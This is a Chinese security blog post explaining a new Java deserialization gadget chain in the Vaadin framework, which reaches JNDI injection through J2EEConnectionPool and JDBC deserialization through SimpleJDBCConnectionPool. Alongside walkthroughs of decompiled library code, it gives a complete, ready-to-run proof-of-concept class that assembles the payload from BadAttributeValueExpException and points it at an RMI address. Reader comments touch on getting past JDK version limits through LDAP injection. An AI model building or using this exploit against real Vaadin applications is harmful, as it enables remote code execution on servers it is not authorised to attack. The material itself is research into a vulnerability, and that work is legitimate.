Vaadin新反序列化链
前言
博客许久没有更新了。究其原因,是因为工作了接近两年的时间里,我在业余时间里接触安全知识的欲望正在不断的降低,今天在临国庆前一天工作上的事情并不多,所以就写下了这篇博客,希望能慢慢找到那种写博客的渴望。
J2EEConnectionPool
原Vaadin链可以参考我之前的文章:https://www.aiwin.net.cn/index.php/archives/4398/,主要是通过控制`NestedMethodProperty#getValue`中的`Method.invoke`中的参数达到命令执行的效果。

整个链子的入口也是Java Gadgets常见的toString方法,即PropertysetItem#toString,从而把整个链子都能引向HashMap、HashTable、BadAttributeValueExpException等readObject开端。

但其实这里通过getItemProperty方法其实就是从map中根据propertyId来获取值,而map可以通过addItemProperty方法控制值,也就是说可以找到其它类的getValue方法,从而形式新的触发链。

在
AbstractSelect#getValue方法中,首先从AbstractField#getValue方法中获取值,其实就是触发下方的getFieldValue返回value的值,而value是其中一个可控的参数。所以retValue是可控的,而this.items也是可反射控制的参数,从而能够控制SQLContainer#ContainsId方法,需要注意的是无论是AbstractField还是AbstractSelect都是abstract修饰的方法。
public abstract class AbstractField<T> extends AbstractComponent implements Field<T>, ReadOnlyStatusChangeListener, ReadOnlyStatusChangeNotifier, ShortcutNotifier {
private T value;
private T getFieldValue() {
return this.dataSource != null && !this.isBuffered() && !this.isModified() ? this.convertFromModel(this.getDataSourceValue()) : this.getInternalValue();
}
protected T getInternalValue() {
return this.value;
} 在SQLContainer#ContainsId中,当cachedItems和removedItems不包含retValue的值,且retValue属于RowId类但是又不是TemporaryRowId的类时,就能够来到this.queryDelegate.containsRowWithKey方法中,注意这里addedItems也需要赋值,否则会触发报错。
public class SQLContainer implements Container, Filterable, Indexed, Sortable, ItemSetChangeNotifier {
private QueryDelegate queryDelegate;
public boolean containsId(Object itemId) {
if (itemId == null) {
return false;
} else if (this.cachedItems.containsKey(itemId)) {
return true;
} else {
Iterator var2 = this.addedItems.iterator();
while(var2.hasNext()) {
RowItem item = (RowItem)var2.next();
if (item.getId().equals(itemId)) {
return this.itemPassesFilters(item);
}
}
if (this.removedItems.containsKey(itemId)) {
return false;
} else if (itemId instanceof ReadOnlyRowId) {
int rowNum = ((ReadOnlyRowId)itemId).getRowNum();
return rowNum >= 0 && rowNum < this.size;
} else {
if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
try {
return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());//触发点
} catch (Exception var4) {
getLogger().log(Level.WARNING, "containsId query failed", var4);
}
}
return false;
}
}
} 在TableQuery类中,存在containsRowWithKey方法,当primaryKeyColumns与sqlGenerator都不为空,能顺利走到下面,activeConnection为空,就会进去beginTransaction方法当中。
public boolean containsRowWithKey(Object... keys) throws SQLException {
ArrayList<Filter> filtersAndKeys = new ArrayList();
if (this.filters != null) {
filtersAndKeys.addAll(this.filters);
}
int ix = 0;
for(Iterator var4 = this.primaryKeyColumns.iterator(); var4.hasNext(); ++ix) {
String colName = (String)var4.next();
filtersAndKeys.add(new Equal(colName, keys[ix]));
}
StatementHelper sh = this.sqlGenerator.generateSelectQuery(this.getFullTableName(), filtersAndKeys, this.orderBys, 0, 0, "*");
boolean shouldCloseTransaction = false;
if (!this.isInTransaction()) {
shouldCloseTransaction = true;
this.beginTransaction();
}
ResultSet rs = null;
boolean var8;
try {
rs = this.executeQuery(sh);
boolean contains = rs.next();
var8 = contains;
} finally {
try {
if (rs != null) {
this.releaseConnection((Connection)null, rs.getStatement(), rs);
}
} finally {
if (shouldCloseTransaction) {
this.commit();
}
}
}
return var8;
}
TableQuery#beginTransaction会触发父类AbstractTransactionalQuery#beginTransaction,在这个方法当中,会通过连接池当中reserveConnection方法进行连接。


J2EEConnectionPool#reserveConnection能通过触发getDataSource从而来到ic.lookup达到jndi注入的效果,dataSourceJndiName是可直接赋值进行控制的。

因此整一条的Gadgets如下:
PropertysetItem#toString->
AbstractSelect#getValue->
SQLContainer#ContainsId->
TableQuery#containsRowWithKey->
J2EEConnectionPool#reserveConnection->jndi注入 SimpleJDBCConnectionPool
同样在SimpleJDBCConnectionPool#reserveConnection方法中,当没有初始化的时候,会通过initializeConnections进行初始化,从而最终触发DriverManager.getConnection方法达到jdbc反序列化的效果。


那么为什么Vaddin中要出现跟JDBC进行连接的类呢?这与整个Vaddin的依赖有关,能够将所有的代码全部采用Java代码语言实现,不需要编写任何JavaScript代码,拥有种类丰富的UI接面组件库,先进的事件监听和数据绑定功能,所以它是需要与数据库进行交互,获取数据从而动态刷新UI界面的。
整个Gadgets的poc如下:
package com.example.Vaadin;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.NativeSelect;
import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class Vaddin {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, SQLException {
SimpleJDBCConnectionPool simpleJDBCConnectionPool=new SimpleJDBCConnectionPool("com.mysql.cj.jdbc.Driver","rmi://127.0.0.1:8085/LgcBAOEy","test","test");
J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("rmi://127.0.0.1:8085/LgcBAOEy");
Class<?> table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
TableQuery tableQuery= (TableQuery) createWithoutConstructor(table);
setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool);
setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
setFieldValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator());
Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor();
sql.setAccessible(true);
SQLContainer sqlContainer=sql.newInstance();
setFieldValue(sqlContainer,"queryDelegate",tableQuery);
NativeSelect nativeSelect=new NativeSelect();
RowId rowId=new RowId(new RowId("1"));
setSuperValue(nativeSelect,"value",rowId);
setSuperValue(nativeSelect,"items",sqlContainer);
setSuperValue(nativeSelect,"multiSelect",true);
PropertysetItem pItem=new PropertysetItem();
pItem.addItemProperty("test",nativeSelect);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
byte[] bytes=serialize(badAttributeValueExpException);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]);
}
public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons);
constructor.setAccessible(true);
return (T) constructor.newInstance(consArgs);
}
public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method=object.getClass().getDeclaredMethod(name);
method.setAccessible(true);
method.invoke(object);
return object;
}
public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=getField(object.getClass(),name);
field.setAccessible(true);
field.set(object,value);
}
private static Field getField(Class<?> clazz, String fieldName) {
while (clazz != null) {
try {
return clazz.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
文章标题:Vaadin新反序列化链
文章链接:https://aiwin.net.cn/index.php/archives/4423/
最后编辑:2025 年 5 月 19 日 21:36 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
打rmi的话,那高版本了,是吗。
打rmi的话,那不能用高版本了,是吗。
依赖不可以使用高版本,如果是JDK的高版本,可以尝试下控制serializeData字段进行高版本的ldap注入